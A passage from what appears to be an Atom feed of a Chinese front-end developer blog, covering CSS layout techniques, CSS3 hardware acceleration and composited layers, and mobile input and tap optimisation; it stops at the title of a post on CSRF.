src="http://7xpwlt.com1.z0.glb.clouddn.com/css%E5%9C%86%E8%A7%92%E7%9A%84%E4%B8%91%E8%90%8C.jpg" alt=""><br>是不是很丑萌</p><h3 id="图片解决"><a href="#图片解决" class="headerlink" title="图片解决"></a>图片解决</h3><figure class="highlight css hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-selector-class">.top</span>{<span class="hljs-attribute">backgroup</span>:上边带弧度的一小部分}</span><br><span class="line"><span class="hljs-selector-class">.bottom</span>{<span class="hljs-attribute">backgroup</span>:下边带弧度的一小部分}</span><br><span class="line"><span class="hljs-selector-class">.content</span>{<span class="hljs-attribute">border-left</span>:<span class="hljs-number">1px</span> solid 颜色;<span class="hljs-attribute">border-right</span>:<span class="hljs-number">1px</span> solid 颜色}</span><br></pre></td></tr></table></figure><figure class="highlight html hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-tag"><<span class="hljs-name">p</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"top"</span>></span><span class="hljs-tag"></<span class="hljs-name">p</span>></span></span><br><span class="line"><span class="hljs-tag"><<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"content"</span>></span><span class="hljs-tag"></<span class="hljs-name">div</span>></span></span><br><span class="line"><span class="hljs-tag"><<span class="hljs-name">p</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"bottom"</span>></span><span class="hljs-tag"></<span class="hljs-name">p</span>></span></span><br></pre></td></tr></table></figure><p>图片的话需要非常注意自适应高度问题,所以不是第一个推荐的。</p>]]></content>
<summary type="html">
<p>额…..我知道现在谈这个东西好像的确是挺旧的,而且现在css3也出了<code>border-radius</code>,圆角简直不能再6。<br></p>
</summary>
<category term="css" scheme="https://github.com/Zyingying/tags/css/"/>
<category term="兼容" scheme="https://github.com/Zyingying/tags/%E5%85%BC%E5%AE%B9/"/>
</entry>
<entry>
<title>css布局之高度问题</title>
<link href="https://github.com/Zyingying/2016/05/05/css%E5%B8%83%E5%B1%80%E4%B9%8B%E9%AB%98%E5%BA%A6%E9%97%AE%E9%A2%98/"/>
<id>https://github.com/Zyingying/2016/05/05/css布局之高度问题/</id>
<published>2016-05-05T12:29:29.000Z</published>
<updated>2016-05-17T15:32:59.131Z</updated>
<content type="html"><![CDATA[<p>在开发过程中会遇到许多等高布局,或者是一些瀑布流布局<br><a id="more"></a></p><p>下面我们一起看看</p><h2 id="等高布局"><a href="#等高布局" class="headerlink" title="等高布局"></a>等高布局</h2><h3 id="两列等高"><a href="#两列等高" class="headerlink" title="两列等高"></a>两列等高</h3><p>我必须得承认一件事,每次写思路的时候,我总是把神器flex放在最后面,因为我觉得他的兼容性还是有点问题的(<a href="http://caniuse.com/#search=Flexible%20Box" target="_blank" rel="noopener">兼容情况戳这里</a>)<br>但是,实际上它也是最容易理解的,而且代码量最少的,所以思来想去,我决定第一个推荐这个方法</p><h4 id="思路一:flexbox"><a href="#思路一:flexbox" class="headerlink" title="思路一:flexbox"></a>思路一:flexbox</h4><p>将父div设定 <code>align-items:stretch;</code>,使得伸缩项目在交叉轴方向拉伸填充整个容器<br>通俗一点来说,就是子div的高度会和你父div一样高<br>注意,如果需要右边一侧布满剩下的,直接用<code>flex:1</code>即可<br>上代码</p><iframe width="100%" height="300" src="//jsfiddle.net/2jg1dunp/2/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><h4 id="思路二:float-margin-position"><a href="#思路二:float-margin-position" class="headerlink" title="思路二:float+margin+position"></a>思路二:float+margin+position</h4><iframe width="100%" height="300" src="//jsfiddle.net/s0svejn4/2/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><h3 id="三列等高"><a href="#三列等高" class="headerlink" title="三列等高"></a>三列等高</h3><h4 id="思路一:flex"><a href="#思路一:flex" class="headerlink" title="思路一:flex"></a>思路一:flex</h4><p>相信到这里大家不用我多说了</p><iframe width="100%" height="300" src="//jsfiddle.net/drc2rnzh/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><h4 id="思路二:float-position"><a href="#思路二:float-position" class="headerlink" title="思路二:float+position"></a>思路二:float+position</h4><iframe width="100%" height="300" src="//jsfiddle.net/b0q5crb3/1/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe>]]></content>
<summary type="html">
<p>在开发过程中会遇到许多等高布局,或者是一些瀑布流布局<br></p>
</summary>
<category term="css" scheme="https://github.com/Zyingying/tags/css/"/>
</entry>
<entry>
<title>css布局之宽度问题</title>
<link href="https://github.com/Zyingying/2016/04/25/css%E5%B8%83%E5%B1%80%E4%B9%8B%E5%AE%BD%E5%BA%A6%E9%97%AE%E9%A2%98/"/>
<id>https://github.com/Zyingying/2016/04/25/css布局之宽度问题/</id>
<published>2016-04-25T14:32:34.000Z</published>
<updated>2016-11-16T13:11:07.158Z</updated>
<content type="html"><![CDATA[<p>一个好的css布局对于一个页面的重要程度,相信大家心里都明白。<br>完成一个两栏,三栏,等高等布局,在页面总是非常常见。所以我这边总结了一些方法。<br><a id="more"></a></p><h1 id="两栏布局"><a href="#两栏布局" class="headerlink" title="两栏布局"></a>两栏布局</h1><h2 id="一栏定宽,一栏自动"><a href="#一栏定宽,一栏自动" class="headerlink" title="一栏定宽,一栏自动"></a>一栏定宽,一栏自动</h2><h3 id="思路一:float-margin"><a href="#思路一:float-margin" class="headerlink" title="思路一:float + margin"></a>思路一:float + margin</h3><p>左边设定宽度并左浮动 <code>float:left</code><br>右边只需要设定<code>margin-left:左边的宽度</code></p><iframe width="100%" height="300" src="//jsfiddle.net/u5k4w3ej/7/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><h3 id="思路二:position-margin"><a href="#思路二:position-margin" class="headerlink" title="思路二:position + margin"></a>思路二:position + margin</h3><p>左边定义宽度并设置成绝对定位 <code>position:absolute</code><br>右边 <code>margin-left:左边的宽度</code></p><iframe width="100%" height="300" src="//jsfiddle.net/2q6r1sba/3/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><h3 id="思路三:flex"><a href="#思路三:flex" class="headerlink" title="思路三:flex"></a>思路三:flex</h3><p>父级div设定 <code>display:flex</code><br>左边设置宽度<br>右边 <code>flex:1</code></p><iframe width="100%" height="300" src="//jsfiddle.net/2q6r1sba/6/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><h1 id="三栏布局"><a href="#三栏布局" class="headerlink" title="三栏布局"></a>三栏布局</h1><h2 id="两侧定宽,中间自动"><a href="#两侧定宽,中间自动" class="headerlink" title="两侧定宽,中间自动"></a>两侧定宽,中间自动</h2><h3 id="思路一:float-margin-1"><a href="#思路一:float-margin-1" class="headerlink" title="思路一:float+margin"></a>思路一:float+margin</h3><p>左右两侧分别浮动左右(或者是绝对定位,参考 <strong>一栏顶宽</strong> 的思路二)<br>中间 <code>margin : 0 右边宽度 0 左边宽度</code></p><iframe width="100%" height="300" src="//jsfiddle.net/6qpwdsqq/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><h3 id="思路二:float-负margin"><a href="#思路二:float-负margin" class="headerlink" title="思路二:float + 负margin"></a>思路二:float + 负margin</h3><p>中间在另一个div里面嵌套<br>左边 <code>margin:-100%</code><br>右边 <code>margin:-自身宽度</code></p><iframe width="100%" height="300" src="//jsfiddle.net/44j7dv4e/1/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><h3 id="思路三:-float-flex-flex有兼容问题"><a href="#思路三:-float-flex-flex有兼容问题" class="headerlink" title="思路三: float+flex (flex有兼容问题)"></a>思路三: float+flex (flex有兼容问题)</h3><p>在父级设定 <code>display:flex</code><br>中间的div <code>flex:1</code><br>(假设中间的最小在100px的时候)</p><iframe width="100%" height="300" src="//jsfiddle.net/6qpwdsqq/4/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><h2 id="两侧自动,中间定宽"><a href="#两侧自动,中间定宽" class="headerlink" title="两侧自动,中间定宽"></a>两侧自动,中间定宽</h2><h3 id="思路一:"><a href="#思路一:" class="headerlink" title="思路一:"></a>思路一:</h3><p>左右两栏的父div分别设置自己宽度 <code>width:50%</code>,分别占据左右两边。<br>子div(也就是他们的 <code>.left .right</code>)左边的子div右边距为中间宽度的一半,右边的左边距也为中间宽度一半。<br>这样他们刚好就留出中间的宽度来了<br>中间的div:就按照css居中一个div的方法,将中间的div居中, 并且是绝对定位,然后设置 <code>z-index</code>防止被覆盖</p><iframe width="100%" height="300" src="//jsfiddle.net/arqv9wrw/1/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><h3 id="思路二:flex(有兼容问题)"><a href="#思路二:flex(有兼容问题)" class="headerlink" title="思路二:flex(有兼容问题)"></a>思路二:flex(有兼容问题)</h3><p>中间的定宽,左右分别占据剩下盒子的一半,平分</p><iframe width="100%" height="300" src="//jsfiddle.net/arqv9wrw/3/embedded/html,css,result/" allowfullscreen="allowfullscreen" frameborder="0"></iframe><p>好啦,这次咱们先说这些,下一篇我会说说定高度布局问题</p>]]></content>
<summary type="html">
<p>一个好的css布局对于一个页面的重要程度,相信大家心里都明白。<br>完成一个两栏,三栏,等高等布局,在页面总是非常常见。所以我这边总结了一些方法。<br></p>
</summary>
<category term="css" scheme="https://github.com/Zyingying/tags/css/"/>
</entry>
<entry>
<title>CSS3开启硬件加速及利弊</title>
<link href="https://github.com/Zyingying/2016/04/16/CSS3%E5%BC%80%E5%90%AF%E7%A1%AC%E4%BB%B6%E5%8A%A0%E9%80%9F%E5%8F%8A%E5%88%A9%E5%BC%8A/"/>
<id>https://github.com/Zyingying/2016/04/16/CSS3开启硬件加速及利弊/</id>
<published>2016-04-16T07:23:59.000Z</published>
<updated>2016-07-17T06:40:35.350Z</updated>
<content type="html"><![CDATA[<p>最近了解了一下用css3开启硬件加速的这个功能,不得不感叹浏览器这些东西太神奇了,要不是师兄提起,我根本就不知道居然有这种东西。所以还是要提高一下自己的信息来源渠道的。<br><a id="more"></a></p><blockquote><p>又把自己原来的博客一篇文章搬了过来zyy</p></blockquote><p> 巴拉巴拉了一下,下面我们正式来看下css3是如何开启硬件加速的:</p><p> 其实,所谓的加速,就是浏览器中用css开启硬件加速,使<strong>GPU</strong> (Graphics Processing Unit) 发挥功能的一系列活动。</p><p> (写在前面重点之中的重点,建议在动画或者是使用比较多变化的网页使用这个技巧,如果是一般普通网页,建议不要使用,或者是慎用。这个我后面会提到原因)</p><h3 id="举个例子:"><a href="#举个例子:" class="headerlink" title="举个例子:"></a>举个例子:</h3><p> CSS的 <code>animations</code>, <code>transforms</code> 以及 <code>transitions</code> 不会自动开启<code>GPU</code>加速,而是由浏览器的缓慢的软件渲染引擎来执行。为了性能,这个时候或许你就需要开启硬件加速功能。那我们怎样才可以切换到<code>GPU</code>模式呢,很多浏览器提供了某些触发的CSS规则。</p><p><code>Chrome</code>, <code>FireFox</code>, <code>Safari</code>, IE9+和最新版本的Opera都支持硬件加速,当它们检测到页面中某个<code>DOM</code>元素应用了某些CSS规则时就会开启,最显著的特征的元素的3D变换。</p><h3 id="哪些CSS规则"><a href="#哪些CSS规则" class="headerlink" title="哪些CSS规则"></a>哪些CSS规则</h3><figure class="highlight css hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-selector-class">.example</span>{</span><br><span class="line"> <span class="hljs-attribute">-webkit-transform</span>: <span class="hljs-built_in">translate3d</span>(250px,250px,250px)</span><br><span class="line"> <span class="hljs-built_in">rotate3d</span>(250px,250px,250px,-120deg)</span><br><span class="line"> <span class="hljs-built_in">scale3d</span>(0.5, 0.5, 0.5);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>如果我们并没有用到这些功能呢?<br>没有关系啊,我们可以设置一个<code>空</code>值,也就是让其在页面的效果是—— 无效果的,这样就欺骗了浏览器,让他开启了硬件加速。</p><figure class="highlight css hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-selector-class">.example</span> {</span><br><span class="line"> <span class="hljs-attribute">-webkit-transform</span>: <span class="hljs-built_in">translateZ</span>(0);</span><br><span class="line"> <span class="hljs-attribute">-moz-transform</span>: <span class="hljs-built_in">translateZ</span>(0);</span><br><span class="line"> <span class="hljs-attribute">-ms-transform</span>: <span class="hljs-built_in">translateZ</span>(0);</span><br><span class="line"> <span class="hljs-attribute">-o-transform</span>: <span class="hljs-built_in">translateZ</span>(0);</span><br><span class="line"> <span class="hljs-attribute">transform</span>: <span class="hljs-built_in">translateZ</span>(0);</span><br><span class="line"> <span class="hljs-comment">/* Other transform properties here */</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个时候或许你又可能会发现有点问题,页面可能会出现闪烁的效果,(可能是浏览器自带的bug?有待研究,如果有知道的朋友欢迎科普)那么我们可以用一下方式来修复:<br><figure class="highlight css hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-selector-class">.example</span> {</span><br><span class="line"> <span class="hljs-attribute">-webkit-backface-visibility</span>: hidden;</span><br><span class="line"> <span class="hljs-attribute">-moz-backface-visibility</span>: hidden;</span><br><span class="line"> <span class="hljs-attribute">-ms-backface-visibility</span>: hidden;</span><br><span class="line"> <span class="hljs-attribute">backface-visibility</span>: hidden;</span><br><span class="line"> </span><br><span class="line"> <span class="hljs-attribute">-webkit-perspective</span>: <span class="hljs-number">1000</span>;</span><br><span class="line"> <span class="hljs-attribute">-moz-perspective</span>: <span class="hljs-number">1000</span>;</span><br><span class="line"> <span class="hljs-attribute">-ms-perspective</span>: <span class="hljs-number">1000</span>;</span><br><span class="line"> <span class="hljs-attribute">perspective</span>: <span class="hljs-number">1000</span>;</span><br><span class="line"> <span class="hljs-comment">/* Other transform properties here */</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p><p> 如果是webkit内核,还有一种方式可以解决:</p><figure class="highlight css hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-selector-class">.example</span> {</span><br><span class="line"> <span class="hljs-attribute">-webkit-transform</span>: <span class="hljs-built_in">translate3d</span>(0, 0, 0);</span><br><span class="line"> <span class="hljs-attribute">-moz-transform</span>: <span class="hljs-built_in">translate3d</span>(0, 0, 0);</span><br><span class="line"> <span class="hljs-attribute">-ms-transform</span>: <span class="hljs-built_in">translate3d</span>(0, 0, 0);</span><br><span class="line"> <span class="hljs-attribute">transform</span>: <span class="hljs-built_in">translate3d</span>(0, 0, 0);</span><br><span class="line"> <span class="hljs-comment">/* Other transform properties here */</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>GPU固然加速了网页,但是同时它增加了内存的使用,实际上是可能会导致严重的性能问题,如果是移动设备,它会减少移动端设备的电池寿命。</p><h3 id="CSS3硬件加速也有坑!!!"><a href="#CSS3硬件加速也有坑!!!" class="headerlink" title="CSS3硬件加速也有坑!!!"></a>CSS3硬件加速也有坑!!!</h3><p>在Webkit内核的浏览器中,硬件加速会把需要渲染的元素放到特定的『Composited Layer』中,表示放到了一个新的『复合层(composited layer)』中渲染。</p><p>那我们怎么知道如何才能知道是哪部分被放到了复合层呢?</p><p>在chrome的控制台可以这样开启:<br><img src="http://images2015.cnblogs.com/blog/763684/201511/763684-20151118171747702-1522618681.png" alt=""></p><p>打开了,那么我们要怎么判断呢?</p><p>此处附上一个地址,是一个css3动画库(animate.css)打开它~~<br><img src="http://images2015.cnblogs.com/blog/763684/201511/763684-20151118172506936-1589195563.png" alt=""></p><p>这个时候他是这样子的,然后选择一个动画<br><img src="http://images2015.cnblogs.com/blog/763684/201511/763684-20151118172741968-1652661778.png" alt=""></p><p>这个时候,Animate.css标题出现了不一样颜色的框框!!!!里面分两种颜色:蓝色和黄色</p><p>蓝色的细线是浏览器渲染时候的『瓦片』,浏览器绘制页面的时候只会绘制可视区域一定范围内的瓦片,以节省性能开销,而黄色的边框框起来的,就代表了这个元素被放到特殊的复合层中渲染,跟主文档不在一个层中</p><p>下面我引用了一个大神的文章:出处 <a href="http://www.th7.cn/web/html-css/201509/121970.shtml" target="_blank" rel="noopener">戳这里</a></p><p>(这个大神看自己的项目,发现基本所有都用了3D加速,)<br><img src="http://www.th7.cn/d/file/p/2015/09/18/5d632c5e62d61400823695906553db35.jpg" alt="" width="200"></p><blockquote><p>简化代码,很快就发现,原来罪魁祸首在这里:</p></blockquote><p><img src="http://www.th7.cn/d/file/p/2015/09/18/0137ff1c30e649e1c1790e2e587df2e9.jpg" alt="" width="300"></p><blockquote><p>头部的那个轮播动画元素的存在居然会导致下面所有相对和绝对定位的元素都被放到复合层中<br>查了一些 资料 :<br>层创建标准</p></blockquote><blockquote><p>什么情况下能使元素获得自己的层?虽然 Chrome 的启发式方法(heuristic)随着时间在不断发展进步,但是从目前来说,满足以下任意情况便会创建层:</p></blockquote><blockquote><p>3D 或透视变换(perspective transform) CSS 属性 使用加速视频解码的 元素 拥有 3D (WebGL) 上下文或加速的 2D 上下文的 元素 混合插件(如 Flash) 对自己的 opacity 做 CSS 动画或使用一个动画 webkit 变换的元素 拥有加速 CSS 过滤器的元素 元素有一个包含复合层的后代节点(换句话说,就是一个元素拥有一个子元素,该子元素在自己的层里) 元素有一个 z-index 较低且包含一个复合层的兄弟元素(换句话说就是该元素在复合层上面渲染)</p></blockquote><blockquote><p>主要是最后一条,我觉得它的中文翻译不是很准确,原文其实是:</p></blockquote><blockquote><p>Element has a sibling with a lower z-index which has a compositing layer (in other words the it’s rendered on top of a composited layer)</p></blockquote><blockquote><p>这句话的意思是,如果有一个元素,它的兄弟元素在复合层中渲染,而这个兄弟元素的z-index比较小,那么这个元素(不管是不是应用了硬件加速样式)也会被放到复合层中。</p></blockquote><blockquote><p>最可怕的是,浏览器有可能给复合层之后的所有相对或绝对定位的元素都创建一个复合层来渲染,于是就有了上面我厂项目截图的那种效果。我们之前一直追查为什么这个页面多了一个list之后在安卓下滚动会变得非常卡,最终被确定就是这个问题了!</p></blockquote><blockquote><p>于是乎我写了一个页面,让大家看看这东西到底有多大威力:<br>亲测差距非常大,建议手机上打开</p></blockquote><blockquote><p>我在上面这个页面中放置了一个h1标题,应用了translate3d动画,使得它被放到composited layer中渲染,然后在这个元素后面创建了2000个list,每个list中都有一个图片,一个标题和一个日期显示,其中图片和日期显示是绝对定位,父容器li是相对定位,然后,各位可以按照前述的说明打开chrome的『show composited layer borders』选项看看这个页面的内容复合层分布:</p></blockquote><p><img src="http://www.th7.cn/d/file/p/2015/09/18/ea4d3ec2b183bfa361bb698cd730f077.jpg" alt="" width="200"></p><blockquote><p>然后我写了一个简单的滚动条移动操作:<br>setInterval(‘document.body.scrollTop++’, 0);<br>然后用timeline抓一下页面性能:</p></blockquote><p><img src="http://www.th7.cn/d/file/p/2015/09/18/33f2c1c4663f45b71b004ade62a9c4a8.jpg" alt=""></p><blockquote><p>一次『Composite Layers』的计算居然要 96.206 ms !!这还是在我的mac系统上哦,手机上真的会卡出翔。</p></blockquote><blockquote><p>我在页面上放置了一个开关『为动画元素设置z-index』,这个checkbook点击之后,会用js给那个动画的h1元素加 position:relative 和 z-index: 1 ,这种做法的原理是人为提升动画元素的z-index,让浏览器知道这个元素的层排序,就不会很傻逼的把其他z-index比它高的元素也弄到复合层中了,看看这个效果:</p></blockquote><p><img src="http://www.th7.cn/d/file/p/2015/09/18/33b1fa9178378131217692b70ca2c5cd.jpg" alt="" width="600"></p><blockquote><p>仅仅给动画元素设置一个高一些的z-index,就能解决这种无厘头增加复合层的问题。再用滚动条移动函数抓一下页面性能:</p></blockquote><p><img src="http://www.th7.cn/d/file/p/2015/09/18/7abb8715b770f5f1ee2f1da52c249f6c.jpg" alt=""></p><blockquote><p>完全恢复正常了!</p></blockquote><blockquote><p>大家可以用支持『硬件加速』的『安卓』手机浏览器测试上述页面,给动画元素加z-index前后的性能差距非常明显。</p></blockquote><blockquote><p>不过也不是所有浏览器都有这个问题,我在mac上的Safari、firefox都没有明显差异,安卓手机上的QQ浏览器好像也正常,猎豹、UC、欧朋、webview等浏览器差距明显。</p></blockquote><p>好了最后总结一下:</p><p>使用3D硬件加速提升动画性能时,最好给元素增加一个z-index属性,人为干扰复合层的排序,可以有效减少chrome创建不必要的复合层,提升渲染性能,移动端优化效果尤为明显。</p><p>大家可以现在就排查一下这类问题,尤其是用了轮播、动画loading的页面,出现这问题很常见。另外推荐在追查性能问题的时候打开『show composited layer borders』选项,如果页面有很多黄色的框肯定是不对的。</p>]]></content>
<summary type="html">
<p>最近了解了一下用css3开启硬件加速的这个功能,不得不感叹浏览器这些东西太神奇了,要不是师兄提起,我根本就不知道居然有这种东西。所以还是要提高一下自己的信息来源渠道的。<br></p>
</summary>
<category term="css3" scheme="https://github.com/Zyingying/tags/css3/"/>
<category term="硬件加速" scheme="https://github.com/Zyingying/tags/%E7%A1%AC%E4%BB%B6%E5%8A%A0%E9%80%9F/"/>
</entry>
<entry>
<title>移动端优化的小事情(一)</title>
<link href="https://github.com/Zyingying/2016/04/08/%E7%A7%BB%E5%8A%A8%E7%AB%AF%E4%BC%98%E5%8C%96%E7%9A%84%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E4%BA%8B/"/>
<id>https://github.com/Zyingying/2016/04/08/移动端优化的的一些小事/</id>
<published>2016-04-08T09:56:19.000Z</published>
<updated>2016-04-21T13:23:29.205Z</updated>
<content type="html"><![CDATA[<p>写这篇文章并没有什么特别的原因,只是有一天突然发现自己对移动端涉猎并不算多,看着越来越多的网页流量来源自移动端,我开始方了,觉得有些事情,也该总结总结<br><a id="more"></a></p><p>在移动端,主要的来说,优化重点可以放在两个方面</p><ul><li><strong>交互优化</strong></li><li><strong>性能优化</strong><br>那我今天先归纳一下交互方面的优化 </li></ul><h1 id="点击的优化"><a href="#点击的优化" class="headerlink" title="点击的优化"></a>点击的优化</h1><p> 我们知道在同是一个点击事件,在移动端的和在pc端给用户的体验是不一样的</p><h2 id="点击事件上"><a href="#点击事件上" class="headerlink" title="点击事件上"></a>点击事件上</h2><p> 移动端的的click里面有300ms的延迟,因为我们需要区分但双击,来判断是否你只是想放大页面(这是移动端的特性)</p><p> 那么我们该如何优化?</p><h3 id="使用touch事件"><a href="#使用touch事件" class="headerlink" title="使用touch事件"></a>使用touch事件</h3><p> touch事件可以使手机端更好的去响应一个触摸事件,这个是大家都可能知道的一个优化方法</p><h3 id="引用移动框架"><a href="#引用移动框架" class="headerlink" title="引用移动框架"></a>引用移动框架</h3><pre><code>引入zepto,用tap事件来代替cilck</code></pre><p> 但是我们首先要知道,tap不是原生事件,tap包括了三个:touchstart/touchmove/touchend</p><p>那我们的判断基本条件是什么:</p><p>1.<strong>触摸到离开事件间隔短</strong></p><p>2.<strong>从起点到终点事件间隔小</strong></p><h2 id="点击反馈"><a href="#点击反馈" class="headerlink" title="点击反馈"></a>点击反馈</h2><p>还有一个比较特别的一点,既然点击事件有点慢,能不能有什么小技巧让他外部看上去不那么慢呢?<br>其实还有一个小方法,就是设置一个点击态,比如在你点击的时候,按钮颜色变深了一点,一般人在点击按钮之后半秒钟还没收到交互反馈,一般就会再次点击,那么如果有个点击态,在用户方面,让他了解自己已经操作了。这样就不至于让人有种卡机,然后狂点按钮</p><h3 id="解决办法"><a href="#解决办法" class="headerlink" title="解决办法"></a>解决办法</h3><ul><li>方案1:使用:active伪类 ———>缺点:滚动的时候会触发样式</li><li>方案2:使用js,添加样式,在150毫秒左右就去掉</li></ul><h1 id="表单输入优化"><a href="#表单输入优化" class="headerlink" title="表单输入优化"></a>表单输入优化</h1><p>在移动端输入表单的场景你一定不少见,但是为什么有些表单会让自己的手机跳出不同的输入框</p><h2 id="电子邮件input类型"><a href="#电子邮件input类型" class="headerlink" title="电子邮件input类型"></a>电子邮件input类型</h2><figure class="highlight html hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"email"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"email"</span> ></span></span><br></pre></td></tr></table></figure><p>iOS和Android浏览器都显示了轻度定制过的键盘。注意缩短的空格键的存在和iOS键盘的最底一行加入了@ 和句号(.)键。 而在Android上,标准逗号键将出现在空格键的左边,已经被一个@键替换。<br><img src="http://7xpwlt.com1.z0.glb.clouddn.com/%E6%89%8B%E6%9C%BA%E7%AB%AF%E7%9A%84%E9%82%AE%E4%BB%B6%E8%BE%93%E5%85%A5%E8%A1%A8%E5%8D%95.png" alt="IOS(左)和Android(右)的电子邮件input的键盘" width="600"></p><h2 id="URL-input-类型"><a href="#URL-input-类型" class="headerlink" title="URL input 类型"></a>URL input 类型</h2><figure class="highlight html hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"url"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"url"</span>></span></span><br></pre></td></tr></table></figure><p>iOS的URL input键盘<br>url input 类型可以用来帮助用户输入网址。在iOS上,所有的空格键已被替换成句号(.)键和正斜杠(/)键,以及一个特殊的.com键。<br>我的测试显示,Android键盘没有变化。<br> <img src="http://7xpwlt.com1.z0.glb.clouddn.com/url.png" alt="iOS的URL input键盘" width="300"></p><h2 id="数字input类型"><a href="#数字input类型" class="headerlink" title="数字input类型"></a>数字input类型</h2><figure class="highlight html hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"number"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"number"</span>></span></span><br></pre></td></tr></table></figure><p><img src="http://7xpwlt.com1.z0.glb.clouddn.com/%E6%97%B6%E9%97%B4.png" alt="IOS(左)和Android(右)的数字input的键盘 " width="600"></p><h2 id="时间类型"><a href="#时间类型" class="headerlink" title="时间类型"></a>时间类型</h2><figure class="highlight html hljs"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">//1</span><br><span class="line"><span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"date"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"date"</span>></span></span><br><span class="line">//2</span><br><span class="line"><span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"time"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"time"</span>></span></span><br><span class="line">//3</span><br><span class="line"><span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"datetime"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"datetime"</span>></span></span><br><span class="line">//4</span><br><span class="line"><span class="hljs-tag"><<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"month"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"month"</span>></span></span><br></pre></td></tr></table></figure><div style="overflow:hidden"><br> <img src="http://7xpwlt.com1.z0.glb.clouddn.com/21172513_AVMK.png" alt="" width="210" style="display:inline;float:left;"><img src="http://7xpwlt.com1.z0.glb.clouddn.com/21172512_4ufP.png" alt="" width="210" style="display:inline;float:left;"><img src="http://7xpwlt.com1.z0.glb.clouddn.com/21172511_p4On.png" alt="" width="210" style="display:inline;float:left;"><img src="http://7xpwlt.com1.z0.glb.clouddn.com/21172513_ujU6.png" alt="" width="210" style="display:inline;float:left;"><br></div><h1 id="关于兼容"><a href="#关于兼容" class="headerlink" title="关于兼容"></a>关于兼容</h1><p>据我所知,桌面端对于日期时间类input的兼容并不算特别的好,火狐就有些是不支持的,包括ios和安卓的兼容能力也是中等。但是input的其他属性都还是兼容移动端不错的。</p>]]></content>
<summary type="html">
<p>写这篇文章并没有什么特别的原因,只是有一天突然发现自己对移动端涉猎并不算多,看着越来越多的网页流量来源自移动端,我开始方了,觉得有些事情,也该总结总结<br></p>
</summary>
<category term="移动端" scheme="https://github.com/Zyingying/tags/%E7%A7%BB%E5%8A%A8%E7%AB%AF/"/>
</entry>
<entry>
<title>那些年我们懵逼的安全知识——CSRF</title>
